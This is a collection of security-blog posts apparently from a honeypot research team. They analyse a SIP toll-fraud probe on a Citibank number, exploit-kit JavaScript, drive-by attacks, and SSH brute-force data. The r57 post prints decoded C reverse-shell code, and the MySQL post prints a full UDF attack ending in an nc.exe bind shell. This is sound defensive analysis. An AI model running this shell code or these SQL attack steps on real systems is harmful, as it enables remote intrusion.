Citibank UK number was target for a “lawnmower” telephone attack today!

Citibank is or has been under a telephone calling attack latest 12 hours. Here I will explain the attack and how it was done.

Have you seen the movie “lawnmower man”, when in the end, all phones rings in the who city? This was the aim for todays attack on Citibank in UK. The attack was simple, but probably effective when it was active. Send SIP INVITE to open SIP gateways and PBXs, who then will actually use the traditional phonesystem (POTS) to call the target. Suddenly you need DoS protection on your traditional POTS lines….

The SIP INVITE looks like this.

INVITE sip:00442075005000@x SIP/2.0
Via: SIP/2.0/UDP 217.23.7.47:58585;branch=z9hG4bKaergjerugroijrgrg
To: <sip:x>
From: <sip:217.23.7.47:58585>;tag=Zerogij34
Call-ID: 213948958-34384780214-384748@217.23.7.47
CSeq: 1 INVITE
Max-Forwards: 69
Contact: <sip:sip@217.23.7.47:58585;transport=udp>
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE
Content-Type: application/sdp
Content-Length: 520
Session-Expires: 3600;
Allow-Events: refer..
       v=0
       o=sip 2147483647 1 IN IP4 1.1.1.1
       s=sip
       c=IN IP4 1.1.1.1
       t=0 0
       m=audio 29784 RTP/AVP 8 0 4 18 18 18 18 96 3 98
       a=rtpmap:96 telephone-event/8000
       a=sendrecva=ptime:20
       a=rtpmap:18 G729AB/8000
       a=rtpmap:18 G729B/8000
       a=rtpmap:18 G729A/8000
       a=rtpmap:18 G729/8000
       a=rtpmap:4 G723

Lets walk through the SIP packet and see what info we can get from it:

A quick google search on the tag: Zerogij34 reveals that this attack has been around since at least 6th of August.

The IP (217.23.7.47)from this packet should be located in Portugal but the other attacks originate from both UK and Netherlands.
There is no User-Agent listed, so the packet is very likely crafted from toosl like sipsak or sipp.
The codec list seems real, but they use an obscure address (1.1.1.1) for the RTP. If they would use their own IP address, it could case a small DoS with RTP traffic for every successful call.)The port 29784 is within the range of Cisco units (26 000-32 000)

The other INVITES reveals that the attacker is trying to figure the extension to get a dial-tone:

• INVITE sip:00442075005000@67.170.104.216 SIP/2.0
• INVITE sip:011442075005000@67.170.104.216 SIP/2.0
• INVITE sip:0442075005000@67.170.104.216 SIP/2.0
• INVITE sip:0000442075005000@67.170.104.216 SIP/2.0
• INVITE sip:0011442075005000@67.170.104.216 SIP/2.0
• INVITE sip:900442075005000@67.170.104.216 SIP/2.0
• INVITE sip:9011442075005000@67.170.104.216 SIP/2.0
• INVITE sip:90442075005000@67.170.104.216 SIP/2.0
• INVITE sip:442075005000@67.170.104.216 SIP/2.0
• and several more…

But is this a DoS attack on Citibank? I doubt it. Why call the Citibank on a Sunday 5 a.m.? This is more likely that Citibank has lots of lines and therefore the SIP INVITES does not generate an error (busy or others). The attacker does not hear any ringtone, but he/she should see the 180 Ringing / 180 Session in Progress. Then he or she knows that he could actually get through to the PSTN on this SIP proxy. If it would be a ringing attack, why does the attacker just send one single SIP INVITE through each gateway that actually calls this destination?

The machines with the attacking IP addresses should be put under surveillance to see who connects to these. They are probably just some bots in a larger network, but they need to relay back which gateways actually responded successfully.

Sad to say, but I believe this is only the small beginning….

A closer look at encrypted Javascripts

Some of our team members came across an infected website redirecting to an exploit site at fuadrenal.com. As usual, the exploit site returned an obfuscated Javascript.

However, beneath the first layer of obfuscation, there was an implementation of RSA PKCS#1 (Public key cryptography) and a variant of a stream cipher, the alleged RC4.

I’m no crypto expert, but after comparing this RC4-like function with other RC4-based algorithms, it looks like this could be a CipherSaber implementation. Below is a pretty-printed part of the function (comment were added by me):

As already mentioned, the CipherSaber algorithm is based on the stream cipher algorithm RC4. RC4 encrypts its content by xor’ing using a keystream which is derived by a secret key. In CipherSaber, this key is created by appending an initialization vector (IV) to the actual key (as show in the image above).

Now, when the first stage of this script is executed, a 53 bytes secret key is randomly generated and stored in an internal variable called ‘oil’.

Next, the secret key is encrypted using RSA and a public key that is hard coded in the script. The output is converted to a hex-string and used as a parameter for the URL leading to the next stage. The next stages are loaded by calling the appendChild()-function for the document object, and thus preserving the current state of RC4.

On the server side, the hex-string will be decrypted and therefor have access to the randomly generated secret key of CipherSaber. The server then returns a CipherSaber-encrypted script, using the hex-string itself as the IV.

Since the client is preserving the RC4-state, it is able to decrypt the second stage Javascript. This script checks for potentially vulnerable ActiveX-components/plugins in the  client browser. Specifically, it checks the versions for Flash, PDF and MDAC (in my case, using an MSIE user-agent).

The results of the version check is reported back to the server by RSA-encrypting it, and using the resulting hex-string as a part of the next-stage URL. Again, the next stage is loaded by calling the appendChild()-function.

Not surprisingly, the server returns an encrypted chunk of code that needs to be decrypted using CipherSaber. This code contains  suitable exploit code based on the version information gathered from the previous stage.  Finally, if the exploit is successful, an URL parameter is generated by RSA-encrypting a few exploit-parameters, which leads to the malware payload itself.

For a graphical overview of the stages involved, click on the image below:

Obfuscated Javascripts are obviously getting more advanced. In this case, it is very difficult to do an “offline” decryption of the code (e.g. by analyzing pcaps), as the keys are randomly generated and the encryption pretty strong. In addition, the exploit site only accepts a single attempt per ip address (I guess there’s an expiration, though), which doesn’t help the case.

However, these scripts has to be readable to browsers – which means anyone can read them, one way or another :)

Looking at some SQL-injection attacks

By using the techniques described in mkrakvik‘s post, I’ve been looking at the results of quite a few of the different SQL-injection (and XSS attacks) successfully performed against norwegian and danish servers.

The attacks have several common properties:

• injects a javascript to the attacked page
• the script is obfuscated
• the scripts loads several iframes and other scripts
• the end exploits are ActiveX, .swf or .pdf attacks

The javascripts

The javascripts are usually pointing to a russian or chinese server. They are obfuscated in different ways. Some simply use url-encoding of the actual script combined with unescape() and eval(), while others use complex encryption functions including long encrypted strings that are decrypted by shifting parts of the string and combining parts in different ways.

The first script usually loads several different other scripts from servers, often contacted by IP. Many of these servers are probably zombies, and a lot of the servers were no longer serving any scripts (the zombies may have been cleaned out). The attackers were using scripts from several different servers, in case one of their zombies go down. So it’s basically a “hacker cluster” for availability.

End exploits

The end scripts usually contain several different attacks. I’ve seen scripts trying to exploit up to ten different activeX-components, and many of the scripts use both activeX and flash (.swf) attacks.

One of the attacks (gcounter.cn) had two activeX attacks downloading two .exe files, two flash files and one pdf. The first .exe files was detected by 22/36 vendors at virustotal.com. The other four files had a lot lower ratios. One of the flash movies was not detected at all. This attack was also analyzed by Morten Kråkvik, and he created this interesting picture. His full post is available in norwegian here: Malware og drive-by exploits

Another attack (found on among others yahoo-union.cn and www.jmlrmg.com) had six different flash movies for IE and six for firefox, yielding a total of 12 flash movies for different versions of flash. They were on average detected by 3/36 of the antivirus vendors on virustotal. I reuploaded one of the flash files three weeks after the initial upload, and it’s now detected by 13/36 vendors: virustotal analysis

Protecting your browser and your web site users

1. Keep your web sites free of SQL-injection and XSS exploits – OWASP has some good resources for SQL-injection and XSS mitigation
2. Focus on security during the entire development projects – not just at the end or the beginning
3. Allow your developers to take security trainings. Security can only be achieved through collaborative effort – it’s not the responsibility of a single person
4. Keep up to date on all web browser, web browser plugin and OS patches.
5. Keep your antivirus up to date (some of the exploits I found were “old” and detected by most of the vendors)
6. Don’t visit links you get in emails, social networks or on IM without verifying that they are actually from the person they claim to be.
7. Consider using the noscript-plugin if you are an advanced firefox user

Analysing malicious PDF documents and shellcode

It’s time for another video-post, and this time we’re going to look at a malicious PDF document attempting to exploit a known vulnerability in the Collab.collectEmailInfo() function. We’re going to show how you can extract the shellcode and perform some static code analysis using tools like HT and IDA Pro.

Click on image to show video (opens in new window)

For references, here are the tools used in the video:

• SpiderMonkey
• Python
• HT
• IDA Pro
• s2b
• pefile

Hope you’ll find it useful! :)

Size Definitely Matters

Following up on some of the SSH brute force attack data we’ve previously presented, here are some statistics on the length of the passwords used in the attacks we’ve observed during the last six months. The graph below shows the number of attacks for passwords ranging from 1 to 20 characters in length.

Not surprisingly, most of the attacks are targeting passwords in the range 4-8 characters. Notice the significant drop after 8 characters, this is probably due to the fact that a lot of systems still enforces an 8-character upper limit. Another reason could be related to human laziness in selecting the lowest amount of characters allowed by the policy, which in all most every case sets the lower limit to 6, 7 or 8 characters. Most policies also defines the recommended length equal to the lower limit. Restricting the length of the password to an upper limit of 6-8 characters is fortunately no longer the case for modern operating systems, but as lower limits and recommendations are still kept at this length, it will be the main target for brute force attacks.

So, if your password is longer than 8 characters, you are dodging a whole lot of attacks. Of course, to gain a higher level of security, length is not the only factor to consider. It is essential that the password complies with a case sensitive alphanumeric character policy. Using special characters as well, such as underscore and slashes would further increase the password space.

As a side note, of the approximately 1.5 million attacks in this data set, 1408 attacks used passwords with more than 20 characters. Topping the statistics are 4 attacks that used a 122-character password, but using only numbers and lots of spaces it does not constitute a good password, if it indeed is an actual password. The longest password-looking string recorded is the following; mt13hzxwUXu8PsT6KYExvLu5zgGEpC0vtmhVjg7KIWknhzfCalwVinh3rqyh7Ui We apologize if we’ve just now made your password public :)

Obfuscating downloads

Previously this year, we came across a downloader (win32.exe) that is making some effort in hiding its traffic. The downloader is making GET requests to files, such as search.jpg, winlogon.jpg, tibs.jpg and tool.jpg. Using tools like chaosreader and foremost to extract the files, you would find out that these files indeed are valid images (like the one shown to the left in this post).

However, if we look more closely, we find that these files has something more interesting appended past the JPG data. Below is a short video showing what’s inside winlogon.jpg.

This downloader was found on hightstats dot net, which, at that time, resolved to 88.255.90.252 (AbdAllah Internet, TR) – whose netblock is very well known for its malicious hosting. At the time of this writing, the domain resolves to 66.246.229.81 (Net Access Corporation, US) and is still serving these files. We’ve also seen this kind of obfuscation before, then with the image of a green frog – McAfee has mentioned this on their blog.

Now, what winlogon.jpg (..or the executable inside it) did, was to install BraveSentry, a rogue anti-virus/spyware product that claims to have found malware on your system in order to trick you to purchase their product.

This is not a new obfuscation technique, but it seems to be a characteristic for this group of spyware creators, that are pushing these rogue security programs.

SSH Bruteforcing

In December 2007 we deployed our first SSH honeypot, based on a modification of OpenSSH where we in addition to usernames also log passwords. As of today, we have a total of four pots, located on four different Norwegian ISPs. Although we’re still in the process of collecting data, we plan on publishing different kinds of statistics, graphs and analysis on the way. The plan is to do a more thorough analysis later this year, and also publish everything we have, including a complete dump of the ssh database.

Below is a distribution map of all the attacks we’ve registered so far (a total of approximately 1.1 million attacks). Though not the most interesting piece of information, believe it or not, this is what most senior management types wants :)

View a larger version of the map

Not surprisingly, USA and China tops our statistics with almost 320k attacks combined. Otherwise we see attacks coming from almost every corner of the world that have a fair amount of Internet users, though the numbers are in general much lower than for our two countries on top.

If you’re interested in the specific numbers, click here to download a CSV file containing the dataset.

Update: When I posted this yesterday, I commented on the lack of attacks originating from the US, and this made me double check yesterdays result. And for some unknown reason I had limited the queries to only a few of the honeypots, hence missing a lot of significant data. Sorry about that! The map is almost correct now, it’s only missing 894 attacks coming from an unknown origin and 125 attacks which simply resolved to EU (European Union).

Nasty RFI attempt

We saw a nasty RFI (remote file injection) attack attempt against a PHP application the other day. It tried to a include a script from a txt-file on a remote server. We downloaded the file to analyze it and it contains a lot of different features.

It’s called “LupuSheL R57 Shell” and it seems it has been active around the web for over two years. It claims to be written by 1dt.w0lf from RST/GHC.

The script was well over 100KB and most features were implemented in PHP. It supported english and russian language and was actually commented! The features ranged from allowing download/upload of arbitrary files, to dumping and exporting database servers, whether it be MySql, MSSQL, PostgreSQL or Oracle. It also provided system information from cpuinfo, memory, free space etc.

If the script was successful, opening the exploit URL could actually cause a basic authentication where both the username and password was the name of the script (“r57″). In the version we got this was disabled.

We also noticed some large base64-encoded sections. After decoding them, we found that the script contained a shell in C and Perl versions, both for connecting back to the attacker and for opening a port on the attacked server. For it to work the php-script would decode, compile and run the c-version, or decode and run the perl-version. Below is the decoded C-version of the backconnect script.
#include <stdio>
#include <sys>
#include <netinet>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr.s_addr = inet_addr(argv[1]);
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}
A funny thing I noticed is that one of the comments actually says “ANY MODIFIED REPUBLISHING IS RESTRICTED”. Like an attacker would care…

Cool but stupid attack

I found an interessting attack on one of the honeypots the other day. A miscreant used a MySQL server with no password and dropped two files on the operation system.

First, the attacker opened a connection to tcp-3306 and logged in as root. Then created a table “FILENAME”:

CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;

Then a INSERT to this table:

INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

                                         ^^

                                         MZ

(PE file)

And dumps the file:

SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\winnt\\system32\\shell64.dll'

SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'D:\\winnt\\system32\\shell64.dll'

SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'E:\\winnt\\system32\\shell64.dll'

Drops the FILEDATA table, then open it again, new INSERT, another PE file. This file is stored on the system as:

SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\nc.exe';

New function in MySQL:

CREATE FUNCTION my_name returns STRING soname 'shell64';

And tries to open it:

select my_name('start cmd.exe /c c:\\nc.exe -l -p 21000 -t -d -e cmd.exe');

md5sum – 50e774a0e95adfac0965fbb28369526f shell64.dll

A quick look on this file reveals that’s packed with UPX 1.92 (runtime packer), but the content is not very interessting. It has a reference to test2.dll and exports a function called “my_name“. It look like a test to see if the attack was successful or not. my_name locates command.com or cmd.exe

With other words, the miscreant tries to open a cmd.exe shell on tcp-21000. The attack is all done in 3 seconds. I guess it’s a automated attack. To bad my system was a unix system, and not a Windows system :)

Thanks to the team for analyzing this attack.